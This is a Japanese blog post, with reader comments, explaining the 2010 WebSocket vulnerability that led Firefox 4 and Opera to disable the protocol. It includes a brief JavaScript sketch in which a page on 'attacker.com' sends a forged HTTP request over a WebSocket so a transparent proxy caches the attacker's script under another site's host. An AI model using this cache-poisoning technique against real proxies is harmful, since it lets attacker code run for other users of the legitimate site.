http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/
Operaもdisableになるらしい(開発版では有効になっていた)ですがソース不明です。
問題となっているsecurity issueのreportはこちら。
http://www.adambarth.com/experimental/websocket.pdf
覚え書き程度に、どんな問題なのか書いておこうかな、と。
しかし、この問題は特にWebSocketに限った話じゃなくて、Flashなどでも起こるんだ、と言う事を記事にする人は書かなきゃ駄目だと思うんだ。
さてと。問題になっているのは、以下のようなケース。
ユーザAがとあるサイト(attacker.com)を見ちゃった。
attacker.comはWebSocketを利用し、こんなメッセージを送っていた。
var ws = new WebSocket("ws://attacker.com/poison");
ws.send(
"GET /script.js HTTP/1.1\n" +
"Host: valid.com\n\n"
);
このメッセージは、attacker.comへと配送されます。(websocketのconnectionが張られているので)
さて、attacker.comのWebSocket Serverは、そのrequestに対して、
ws.send(
"HTTP 200 OK\n" +
"Expires: 1年後の日付\n\n" +
"{SCRIPT本体}"
);
こんな回答をしてあげてる、としましょう。(便宜上、ws.sendで書いてますが、client socketに対してのwriteです)
以上のやりとりは、全てWebSocket Connectionの中での出来事です。特に問題がなさそうに見えます。
Flashでも同じ事が出来ますね。
http://d.hatena.ne.jp/Bayside/20080502/p1
問題になるのは、間に透過型プロキシがある場合。
先ほどのWebSocket Connectionの中でのGET - Responseですが、実はプロキシ側では通常のHTTP Requestと違いが分からないらしい。(不勉強で、本当かどうかは知りません)
すると、プロキシは先ほどのレスポンス、つまりscript.jsを、Host == valid.comのものだとしてcacheしてしまう、と。しかも、
cacheされちゃうとどうなるか。
もしvalid.comにscript.jsがあった場合(ありそうな例としてあげられているのが、google.comのga.js)、他の誰かがvalid.comを訪れた時にキャッシュヒットしちゃって、attacker.comにあったscript.jsがvalid.comのものとして実行されちゃいますよ、と。
こんな感じに読み取りましたが、間違ってたらご指摘くださいませ。
# ご指摘を受けましたので修正。ちょっと読み飛ばしちゃったところがありまして、もうひとつ例として挙げられています。追記しようかと思ったのですが、時間が無いので、詳細をお知りになりたい方は、原文を読んでいただくか、http://firefoxhacks.at.webry.info/201012/article_3.html とか、https://groups.google.com/group/socketapi-dev/browse_thread/thread/252531b595e071b6 このあたりをご参照ください。中途半端で、ごめんなさい。(^^;
http://www.adambarth.com/experimental/websocket.pdf
では、続いてこうすれば大丈夫だよ、と言う提案もされていらっしゃいますが、これはちょっと個人的に好きになれません。。。どうせ443固定にするんだったら、wss scheme + Server cert使えば良いじゃん、と思いますし。
Transparent proxyがServer cert返しちゃってるようなネット運用してる所は知りませんよ、とか言えるし。
以上、覚え書きまで。
The protocol vulnerabilities also affect Java and Flash solutions.
返信削除http://hacks.mozilla.org/2010/12/websockets-disabled-in-firefox-4/
Note the flash issue, which still exists. This is also a problem in flash, and I’m not sure if or what Adobe will do about it.
http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/comment-page-1/#comment-279667
とか書かれてますね。
あと Opera の件は
http://annevankesteren.nl/2010/12/websocket-protocol-vulnerability
で発表されて、ついさっき出た
http://my.opera.com/desktopteam/blog/2010/12/10/friday-morning-improvements
でオプション扱いになりました。
ありがとうございます。
返信削除@toshirot さんに教えてもらったのですが、以前からadvisory出てたみたいですね。
http://twitter.com/#!/toshirot/status/13070583189209088
flash socketやwebsocket側の問題だけとも言い切れない気がしてます。(実運用されちゃってるという点で、websocket側でも対処すべき、と言うのはその通りなんですけど)